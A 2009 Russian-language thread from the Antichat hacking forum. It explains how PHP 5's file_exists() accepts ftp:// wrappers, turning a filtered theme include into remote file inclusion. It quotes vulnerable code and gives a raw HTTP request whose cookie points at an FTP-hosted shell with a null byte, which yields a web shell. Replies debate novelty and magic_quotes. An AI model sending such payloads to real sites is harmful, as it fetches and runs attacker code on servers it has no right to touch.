Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Небольшой очерк - file_exists (https://forum.antichat.xyz/showthread.php?t=99589)

.Slip 05.01.2009 16:13

Небольшой очерк - file_exists
 
На статью вряд ли потянет, ничего принципиально нового я не расскажу, но мб кому то пойдёт на пользу. Те кто занимаются сурсо копанием знают что эта функция очень часто портила всем RFI. Теперь портить не будет:) Итак, начнём.

http://us3.php.net/manual/en/function.file-exists.php
Цитата:

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers.
http://us.php.net/manual/en/wrappers.ftp.php
Цитата:

As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. As of PHP 5.1.0: filemtime().
Для тех кто не понял, начиная с пхп 5 ф-я может работать с упаковщиками урл. Не только с ftp:// но так же и с php://memory, php://temp, ssh2.sftp://. Потом я просто подумал, зачем заморачиваться с последними тремя, если есть простой фтп. Теперь непного наглядности, каким же всё таки раком это нам поможет.
==>
PHP код:

<?php
echo file_exists("ftp://user:pwd@host/shell.txt");
?>

==>
Для примера такой сурс:
PHP код:

<?php
...

// theme definition by configuration or by cookie
$usertheme getparam("usertheme"PAR_COOKIESAN_FLAT);
if (
$usertheme!="" AND !stristr("..",$usertheme) AND file_exists("$usertheme/theme.php")) {
    
$theme $usertheme;
} else {
    
$theme "def";
}
include 
"$theme/theme.php";

...
?>

Тут бы и LFI не вышел, из за stristr, но теперь можно получить полноценный RFI.
==>
Код:

POST /script.php HTTP/1.0
Host: host
Cookie: usertheme=ftp://login:pwd@host/shell.txt%00
Connection: close

magic_quotes_gpc = Off
==>
Готовый шелл
-EOF-

brasco2k 05.01.2009 16:35

Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.

А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.

P.S Также начиная с PHP 5.0 функция stat тоже поддерживает информацию о файлах на удаленных хостах.

.Slip 05.01.2009 16:40

>> А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.

Ага, и !stristr("..",$usertheme) тоже от ошибок в инклудах.

>> Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.

...ничего принципиально нового я не расскажу...

Смысл переписывать мои слова?

Iceangel_ 06.01.2009 19:32

а мне понравилось, возьму на вооружение.

brain[pillow] 16.02.2009 21:54

Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.

.Slip 19.02.2009 21:30

Цитата:

Сообщение от brain[pillow]
Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.

Это вырезка кода из движка, там отдельно обрабатывались массивы gpc. Квотесы бы порезали нуллбайт.

regnet 09.04.2009 21:56

Спасибо для меня было познавательно!


Время: 12:35